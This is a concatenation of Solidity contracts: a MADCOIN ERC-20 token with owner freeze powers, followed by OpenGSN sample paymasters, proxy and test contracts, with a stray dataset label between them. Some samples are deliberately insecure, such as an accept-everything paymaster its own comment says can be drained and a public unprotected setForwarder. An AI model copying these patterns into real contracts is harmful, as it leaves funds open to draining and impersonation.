function setSaleTime(uint32 publicSaleStartTime_) external checkTeamWallets {
if (publicSaleStartTime_ != 0) {
publicSaleStartTime = publicSaleStartTime_;
}
}
function addTeamWallets(address[] calldata _users) public checkTeamWallets {
for (uint16 i = 0; i < _users.length; i++) {
teamWallets[_users[i]] = true;
}
}
function removeTeamWallets(address[] calldata _users) public checkTeamWallets {
for (uint16 i = 0; i < _users.length; i++) {
teamWallets[_users[i]] = false;
}
}
// ~~~ Setters End ~~~
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pragma solidity ^0.4.25;
/*
* Creator: MAD (MADCOIN)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
constructor () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* MADCOIN smart contract.
*/
contract MADToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
constructor () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() public constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "MADCOIN";
string constant public symbol = "MAD";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
emit Freeze ();
}
}
/**
* Unfreeze ALL token transfers.
* May only be called by smart contract owner.
*/
function unfreezeTransfers () public {
require (msg.sender == owner);
if (frozen) {
frozen = false;
emit Unfreeze ();
}
}
/*A user is able to unintentionally send tokens to a contract
* and if the contract is not prepared to refund them they will get stuck in the contract.
* The same issue used to happen for Ether too but new Solidity versions added the payable modifier to
* prevent unintended Ether transfers. However, there’s no such mechanism for token transfers.
* so the below function is created
*/
function refundTokens(address _token, address _refund, uint256 _value) public {
require (msg.sender == owner);
require(_token != address(this));
AbstractToken token = AbstractToken(_token);
token.transfer(_refund, _value);
emit RefundTokens(_token, _refund, _value);
}
/**
* Freeze specific account
* May only be called by smart contract owner.
*/
function freezeAccount(address _target, bool freeze) public {
require (msg.sender == owner);
require (msg.sender != _target);
frozenAccount[_target] = freeze;
emit FrozenFunds(_target, freeze);
}
/**
* Logged when token transfers were frozen.
*/
event Freeze ();
/**
* Logged when token transfers were unfrozen.
*/
event Unfreeze ();
/**
* Logged when a particular account is frozen.
*/
event FrozenFunds(address target, bool frozen);
/**
* when accidentally send other tokens are refunded
*/
event RefundTokens(address _token, address _refund, uint256 _value);
} | True | [
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] |
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@opengsn/contracts/src/BasePaymaster.sol";
// accept everything.
// this paymaster accepts any request.
//
// NOTE: Do NOT use this contract on a mainnet: it accepts anything, so anyone can "grief" it and drain its account
contract AcceptEverythingPaymaster is BasePaymaster {
function versionPaymaster() external view override virtual returns (string memory){
return "2.2.0+opengsn.accepteverything.ipaymaster";
}
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(relayRequest, signature, approvalData, maxPossibleGas);
return ("", false);
}
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external override virtual {
(context, success, gasUseWithoutPost, relayData);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "./AcceptEverythingPaymaster.sol";
///A paymaster that requires some calculation from the client before accepting a request.
///This comes to prevent attack by anonymous clients.
/// Usage:
/// - Create an instance of the HashcashPaymaster, and give it a proper difficulty level.
/// - When creating a RelayProvider, make sure to use the createHashcashAsyncApproval() with
/// the same difficulty level.
///
/// The "difficulty" level is the number of zero bits at the generated hash.
/// a value of 15 requires roughly 32000 iterations and take ~0.5 second on a normal PC
contract HashcashPaymaster is AcceptEverythingPaymaster {
function versionPaymaster() external view override virtual returns (string memory){
return "2.2.0+opengsn.hashcash.ipaymaster";
}
uint8 public difficulty;
constructor(uint8 _difficulty) {
difficulty = _difficulty;
}
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
relayHubOnly
returns (bytes memory, bool revertOnRecipientRevert) {
(maxPossibleGas, signature);
// solhint-disable-next-line reason-string
require(approvalData.length == 64, "approvalData: invalid length for hash and nonce");
require(relayRequest.relayData.paymasterData.length == 0, "paymasterData: invalid length");
(bytes32 hash, uint256 hashNonce) = abi.decode(approvalData, (bytes32, uint256));
bytes32 calcHash = keccak256(abi.encode(
relayRequest.request.from,
relayRequest.request.nonce,
hashNonce));
require(hash == calcHash, "wrong hash");
require(uint256(hash) < (uint256(1) << (256 - difficulty)), "difficulty not met");
return ("", false);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@opengsn/contracts/src/BaseRelayRecipient.sol";
// pass-through paymaster.
// should override it and re-implement acceptRelayedCall. use "super" on success
contract SampleRecipient is BaseRelayRecipient {
string public override versionRecipient = "2.2.0+opengsn.sample.irelayrecipient";
event Sender( address _msgSenderFunc, address sender );
function setForwarder(address forwarder) public {
trustedForwarder = forwarder;
}
function something() public {
emit Sender( _msgSender(), msg.sender );
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@opengsn/contracts/src/BasePaymaster.sol";
/**
* a paymaster for a single recipient contract.
* - reject requests if destination is not the target contract.
* - reject any request if the target contract reverts.
*/
contract SingleRecipientPaymaster is BasePaymaster {
address public target;
event TargetChanged(address oldTarget, address newTarget);
constructor(address _target) {
target=_target;
}
function versionPaymaster() external view override virtual returns (string memory){
return "2.2.0+opengsn.recipient.ipaymaster";
}
function setTarget(address _target) external onlyOwner {
emit TargetChanged(target, _target);
target=_target;
}
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(relayRequest, signature, approvalData, maxPossibleGas);
require(relayRequest.request.to==target, "wrong target");
//returning "true" means this paymaster accepts all requests that
// are not rejected by the recipient contract.
return ("", true);
}
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external override virtual {
(context, success, gasUseWithoutPost, relayData);
}
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@opengsn/contracts/src/forwarder/IForwarder.sol";
import "@opengsn/contracts/src/BasePaymaster.sol";
import "./interfaces/IUniswap.sol";
/**
* A Token-based paymaster.
* - each request is paid for by the caller.
* - acceptRelayedCall - verify the caller can pay for the request in tokens.
* - preRelayedCall - pre-pay the maximum possible price for the tx
* - postRelayedCall - refund the caller for the unused gas
*/
contract TokenPaymaster is BasePaymaster {
using SafeMath for uint256;
function versionPaymaster() external override virtual view returns (string memory){
return "2.2.0+opengsn.token.ipaymaster";
}
IUniswap[] public uniswaps;
IERC20[] public tokens;
mapping (IUniswap=>bool ) private supportedUniswaps;
uint public gasUsedByPost;
constructor(IUniswap[] memory _uniswaps) {
uniswaps = _uniswaps;
for (uint256 i = 0; i < _uniswaps.length; i++){
supportedUniswaps[_uniswaps[i]] = true;
tokens.push(IERC20(_uniswaps[i].tokenAddress()));
tokens[i].approve(address(_uniswaps[i]), uint(-1));
}
}
/**
* set gas used by postRelayedCall, for proper gas calculation.
* You can use TokenGasCalculator to calculate these values (they depend on actual code of postRelayedCall,
* but also the gas usage of the token and of Uniswap)
*/
function setPostGasUsage(uint _gasUsedByPost) external onlyOwner {
gasUsedByPost = _gasUsedByPost;
}
// return the payer of this request.
// for account-based target, this is the target account.
function getPayer(GsnTypes.RelayRequest calldata relayRequest) public virtual view returns (address) {
(this);
return relayRequest.request.to;
}
event Received(uint eth);
receive() external override payable {
emit Received(msg.value);
}
function _getToken(bytes memory paymasterData) internal view returns (IERC20 token, IUniswap uniswap) {
uniswap = abi.decode(paymasterData, (IUniswap));
require(supportedUniswaps[uniswap], "unsupported token uniswap");
token = IERC20(uniswap.tokenAddress());
}
function _calculatePreCharge(
IERC20 token,
IUniswap uniswap,
GsnTypes.RelayRequest calldata relayRequest,
uint256 maxPossibleGas)
internal
view
returns (address payer, uint256 tokenPreCharge) {
(token);
payer = this.getPayer(relayRequest);
uint ethMaxCharge = relayHub.calculateCharge(maxPossibleGas, relayRequest.relayData);
ethMaxCharge += relayRequest.request.value;
tokenPreCharge = uniswap.getTokenToEthOutputPrice(ethMaxCharge);
}
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
relayHubOnly
returns (bytes memory context, bool revertOnRecipientRevert) {
(signature);
require(approvalData.length == 0, "approvalData: invalid length");
// solhint-disable-next-line reason-string
require(relayRequest.relayData.paymasterData.length == 32, "paymasterData: invalid length for Uniswap v1 exchange address");
(IERC20 token, IUniswap uniswap) = _getToken(relayRequest.relayData.paymasterData);
(address payer, uint256 tokenPrecharge) = _calculatePreCharge(token, uniswap, relayRequest, maxPossibleGas);
token.transferFrom(payer, address(this), tokenPrecharge);
return (abi.encode(payer, tokenPrecharge, token, uniswap), false);
}
function postRelayedCall(
bytes calldata context,
bool,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
)
external
override
virtual
relayHubOnly {
(address payer, uint256 tokenPrecharge, IERC20 token, IUniswap uniswap) = abi.decode(context, (address, uint256, IERC20, IUniswap));
_postRelayedCallInternal(payer, tokenPrecharge, 0, gasUseWithoutPost, relayData, token, uniswap);
}
function _postRelayedCallInternal(
address payer,
uint256 tokenPrecharge,
uint256 valueRequested,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData,
IERC20 token,
IUniswap uniswap
) internal {
uint256 ethActualCharge = relayHub.calculateCharge(gasUseWithoutPost.add(gasUsedByPost), relayData);
uint256 tokenActualCharge = uniswap.getTokenToEthOutputPrice(valueRequested.add(ethActualCharge));
uint256 tokenRefund = tokenPrecharge.sub(tokenActualCharge);
_refundPayer(payer, token, tokenRefund);
_depositProceedsToHub(ethActualCharge, uniswap);
emit TokensCharged(gasUseWithoutPost, gasUsedByPost, ethActualCharge, tokenActualCharge);
}
function _refundPayer(
address payer,
IERC20 token,
uint256 tokenRefund
) private {
require(token.transfer(payer, tokenRefund), "failed refund");
}
function _depositProceedsToHub(uint256 ethActualCharge, IUniswap uniswap) private {
//solhint-disable-next-line
uniswap.tokenToEthSwapOutput(ethActualCharge, uint(-1), block.timestamp+60*15);
relayHub.depositFor{value:ethActualCharge}(address(this));
}
event TokensCharged(uint gasUseWithoutPost, uint gasJustPost, uint ethActualCharge, uint tokenActualCharge);
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
contract TransferToCoinbase {
receive() external payable {}
uint256[] public uselessArray;
function transferToCoinbase() external {
uselessArray.push(1);
uselessArray.push(1);
block.coinbase.transfer(address(this).balance);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@opengsn/contracts/src/BasePaymaster.sol";
import "@opengsn/contracts/src/forwarder/IForwarder.sol";
import "@openzeppelin/contracts/cryptography/ECDSA.sol";
/**
* a sample paymaster that requires an external signature on the request.
* - the client creates a request.
* - the client uses a RelayProvider with a callback function asyncApprovalData
* - the callback sends the request over to a dapp-specific web service, to verify the request.
* - the service verifies the request, signs it and return the signature.
* - the client now sends this signed approval as the "approvalData" field of the GSN request.
* - the paymaster verifies the signature.
* This way, any external logic can be used to validate the request.
* e.g.:
* - OAuth, or any other login mechanism.
* - Captcha approval
* - off-chain payment system (note that its a payment for gas, so probably it doesn't require any KYC)
* - etc.
*/
contract VerifyingPaymaster is Ownable, BasePaymaster {
address public signer;
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(signature, maxPossibleGas);
// solhint-disable-next-line reason-string
require(approvalData.length == 65, "approvalData: invalid length for signature");
require(relayRequest.relayData.paymasterData.length == 0, "paymasterData: invalid length");
bytes32 requestHash = getRequestHash(relayRequest);
require(signer == ECDSA.recover(requestHash, approvalData), "approvalData: wrong signature");
return ("", false);
}
function getRequestHash(GsnTypes.RelayRequest calldata relayRequest) public pure returns (bytes32) {
return keccak256(
abi.encodePacked(
packForwardRequest(relayRequest.request),
packRelayData(relayRequest.relayData)
)
);
}
function packForwardRequest(IForwarder.ForwardRequest calldata req) public pure returns (bytes memory) {
return abi.encode(req.from, req.to, req.value, req.gas, req.nonce, req.data);
}
function packRelayData(GsnTypes.RelayData calldata d) public pure returns (bytes memory) {
return abi.encode(d.gasPrice, d.pctRelayFee, d.baseRelayFee, d.relayWorker, d.paymaster, d.paymasterData, d.clientId);
}
function postRelayedCall(
bytes calldata context,
bool success,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external override virtual {
(context, success, gasUseWithoutPost, relayData);
}
function versionPaymaster() external view override virtual returns (string memory){
return "2.2.0+opengsn.vpm.ipaymaster";
}
function setSigner(address _signer) public onlyOwner {
signer = _signer;
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "./AcceptEverythingPaymaster.sol";
///a sample paymaster that has whitelists for senders and targets.
/// - if at least one sender is whitelisted, then ONLY whitelisted senders are allowed.
/// - if at least one target is whitelisted, then ONLY whitelisted targets are allowed.
contract WhitelistPaymaster is AcceptEverythingPaymaster {
bool public useSenderWhitelist;
bool public useTargetWhitelist;
mapping (address=>bool) public senderWhitelist;
mapping (address=>bool) public targetWhitelist;
function whitelistSender(address sender) public onlyOwner {
senderWhitelist[sender]=true;
useSenderWhitelist = true;
}
function whitelistTarget(address target) public onlyOwner {
targetWhitelist[target]=true;
useTargetWhitelist = true;
}
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
returns (bytes memory context, bool revertOnRecipientRevert) {
(signature, maxPossibleGas);
require(approvalData.length == 0, "approvalData: invalid length");
require(relayRequest.relayData.paymasterData.length == 0, "paymasterData: invalid length");
if ( useSenderWhitelist ) {
require( senderWhitelist[relayRequest.request.from], "sender not whitelisted");
}
if ( useTargetWhitelist ) {
require( targetWhitelist[relayRequest.request.to], "target not whitelisted");
}
return ("", false);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/Address.sol";
import "../TokenPaymaster.sol";
import "./ProxyFactory.sol";
contract ProxyDeployingPaymaster is TokenPaymaster {
using Address for address;
string public override versionPaymaster = "2.2.0+opengsn.proxydeploying.ipaymaster";
ProxyFactory public proxyFactory;
constructor(IUniswap[] memory _uniswaps, ProxyFactory _proxyFactory) TokenPaymaster(_uniswaps) {
proxyFactory = _proxyFactory;
}
function getPayer(GsnTypes.RelayRequest calldata relayRequest) public override virtual view returns (address) {
// TODO: if (rr.paymasterData != '') return address(rr.paymasterData)
// this is to support pre-existing proxies/proxies with changed owner
return proxyFactory.calculateAddress(relayRequest.request.from);
}
function preRelayedCall(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
override
virtual
returns (bytes memory, bool revertOnRecipientRevert) {
(signature);
require(approvalData.length == 0, "approvalData: invalid length");
// solhint-disable-next-line reason-string
require(relayRequest.relayData.paymasterData.length == 32, "paymasterData: invalid length for Uniswap v1 exchange address");
(IERC20 token, IUniswap uniswap) = _getToken(relayRequest.relayData.paymasterData);
(address payer, uint256 tokenPrecharge) = _calculatePreCharge(token, uniswap, relayRequest, maxPossibleGas);
if (!payer.isContract()) {
deployProxy(relayRequest.request.from);
}
token.transferFrom(payer, address(this), tokenPrecharge);
//solhint-disable-next-line
uniswap.tokenToEthSwapOutput(relayRequest.request.value, uint256(-1), block.timestamp+60*15);
payable(relayRequest.relayData.forwarder).transfer(relayRequest.request.value);
return (abi.encode(payer, relayRequest.request.from, tokenPrecharge, relayRequest.request.value, relayRequest.relayData.forwarder, token, uniswap), false);
}
function deployProxy(address owner) public returns (ProxyIdentity) {
ProxyIdentity proxy = proxyFactory.deployProxy(owner);
proxy.initialize(address(trustedForwarder), tokens);
return proxy;
}
function postRelayedCall(
bytes calldata context,
bool,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
) external override virtual {
(address payer,, uint256 tokenPrecharge, uint256 valueRequested,,IERC20 token, IUniswap uniswap) = abi.decode(context, (address, address, uint256, uint256, address, IERC20, IUniswap));
_postRelayedCallInternal(payer, tokenPrecharge, valueRequested, gasUseWithoutPost, relayData, token, uniswap);
}
// TODO: calculate precise values for these params
uint256 constant private PRE_RELAYED_CALL_GAS_LIMIT_OVERRIDE = 2000000;
uint256 constant public PAYMASTER_ACCEPTANCE_BUDGET_OVERRIDE = PRE_RELAYED_CALL_GAS_LIMIT_OVERRIDE + FORWARDER_HUB_OVERHEAD;
function getGasAndDataLimits()
public
override
pure
returns (
GasAndDataLimits memory limits
) {
return GasAndDataLimits(
PAYMASTER_ACCEPTANCE_BUDGET_OVERRIDE,
PRE_RELAYED_CALL_GAS_LIMIT_OVERRIDE,
POST_RELAYED_CALL_GAS_LIMIT,
CALLDATA_SIZE_LIMIT
);
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/utils/Address.sol";
import "./ProxyIdentity.sol";
contract ProxyFactory {
using Address for address;
event ProxyDeployed(address proxyAddress);
function calculateAddress(address owner) public view returns (address){
return address(uint256(keccak256(
abi.encodePacked(
uint8(0xff),
address(this),
bytes32(0),
keccak256(abi.encodePacked(type(ProxyIdentity).creationCode, abi.encode(owner)))
))));
}
function deployProxy(address owner) external returns (ProxyIdentity) {
address calculatedAddress = calculateAddress(owner);
if (!calculatedAddress.isContract()) {
ProxyIdentity proxyIdentity = new ProxyIdentity{salt: 0}(owner);
require(calculatedAddress == address(proxyIdentity), "FATAL: create2 wrong address");
emit ProxyDeployed(calculatedAddress);
}
return ProxyIdentity(payable(calculatedAddress));
}
}
/* solhint-disable no-inline-assembly */
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "@openzeppelin/contracts/proxy/Initializable.sol";
import "@opengsn/contracts/src/BaseRelayRecipient.sol";
import "../interfaces/IERC725.sol";
contract ProxyIdentity is IERC725, BaseRelayRecipient, Initializable {
string public override versionRecipient = "2.2.0+opengsn.erc725.irelayrecipient";
uint256 private constant OPERATION_CALL = 0;
uint256 private constant OPERATION_CREATE = 1;
address public override owner;
mapping(bytes32 => bytes) override public getData;
// solhint-disable-next-line no-empty-blocks
receive () external payable {}
constructor(address _owner) {
owner = _owner;
}
function initialize(address _trustedForwarder, IERC20[] calldata tokens) external initializer {
trustedForwarder = _trustedForwarder;
for (uint256 i =0; i < tokens.length; i++){
tokens[i].approve(address(msg.sender), uint(-1));
}
}
modifier onlyOwner() {
require(_msgSender() == owner, "ProxyIdentity: caller not owner");
_;
}
function changeOwner(address)
external
view
override
onlyOwner
{
revert("not supported");
/*
owner = _owner;
emit OwnerChanged(owner);
*/
}
function setData(bytes32, bytes calldata)
external
view
override
onlyOwner
{
revert("not supported");
/*
getData[_key] = _value;
emit DataChanged(_key, _value);
*/
}
function execute(uint256 _operationType, address _to, uint256 _value, bytes calldata _data)
external
payable
override
onlyOwner
{
if (_operationType == OPERATION_CALL) {
require(executeCall(_to, _value, _data), "executeCall failed");
} else if (_operationType == OPERATION_CREATE) {
address newContract = executeCreate(_data);
emit ContractCreated(newContract);
} else {
revert("not supported");
}
}
function executeCall(address to, uint256 value, bytes memory data)
internal
returns (bool success)
{
// solhint-disable-next-line avoid-low-level-calls
(success,) = to.call{value: value}(data);
}
function executeCreate(bytes memory)
internal
pure
returns (address /*newContract*/)
{
revert("not supported");
/*
assembly {
newContract := create(0, add(data, 0x20), mload(data))
}
*/
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
//"import" it into our project for Truffle to generate artifacts
import "@opengsn/contracts/src/forwarder/IForwarder.sol";
import "@opengsn/contracts/src/forwarder/Forwarder.sol";
import "@opengsn/contracts/src/StakeManager.sol";
import "@opengsn/contracts/src/Penalizer.sol";
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@opengsn/contracts/src/BaseRelayRecipient.sol";
// pass-through paymaster.
// should override it and re-implement acceptRelayedCall. use "super" on success
contract SampleRecipient is BaseRelayRecipient {
string public override versionRecipient = "2.2.0+opengsn.sample.irelayrecipient";
event Sender( address _msgSenderFunc, address sender );
function setForwarder(address forwarder) public {
trustedForwarder = forwarder;
}
function something() public {
emit Sender( _msgSender(), msg.sender );
}
}
//SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract TestCounter {
uint public count;
constructor () {
count = 0;
}
function increment() public payable{
count = count + 1;
}
function get() public view returns (uint) {
return count;
}
/* solhint-disable no-empty-blocks */
receive() external payable {}
fallback() external payable {}
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
pragma experimental ABIEncoderV2;
import "@opengsn/contracts/src/utils/GsnTypes.sol";
import "@opengsn/contracts/src/interfaces/IPaymaster.sol";
import "@opengsn/contracts/src/RelayHub.sol";
/**
* This mock relay hub contract is only used to test the paymaster's 'pre-' and 'postRelayedCall' in isolation.
*/
contract TestHub is RelayHub {
constructor(
IStakeManager _stakeManager,
address _penalizer,
uint256 _maxWorkerCount,
uint256 _gasReserve,
uint256 _postOverhead,
uint256 _gasOverhead,
uint256 _maximumRecipientDeposit,
uint256 _minimumUnstakeDelay,
uint256 _minimumStake,
uint256 _dataGasCostPerByte,
uint256 _externalCallDataCostOverhead) RelayHub(_stakeManager,
_penalizer,
_maxWorkerCount,
_gasReserve,
_postOverhead,
_gasOverhead,
_maximumRecipientDeposit,
_minimumUnstakeDelay,
_minimumStake,
_dataGasCostPerByte,
_externalCallDataCostOverhead)
// solhint-disable-next-line no-empty-blocks
{}
function callPreRC(
GsnTypes.RelayRequest calldata relayRequest,
bytes calldata signature,
bytes calldata approvalData,
uint256 maxPossibleGas
)
external
returns (bytes memory context, bool revertOnRecipientRevert) {
return IPaymaster(relayRequest.relayData.paymaster).preRelayedCall(relayRequest, signature, approvalData, maxPossibleGas);
}
function callPostRC(
IPaymaster paymaster,
bytes calldata context,
uint256 gasUseWithoutPost,
GsnTypes.RelayData calldata relayData
)
external {
paymaster.postRelayedCall(context, true, gasUseWithoutPost, relayData);
}
}
// SPDX-License-Identifier:MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/Ownable.sol";
import "@opengsn/contracts/src/BaseRelayRecipient.sol";
contract TestProxy is BaseRelayRecipient, Ownable {
string public override versionRecipient = "2.0.0-beta.1+opengsn.testproxy.irelayrecipient";
constructor(address forwarder) {
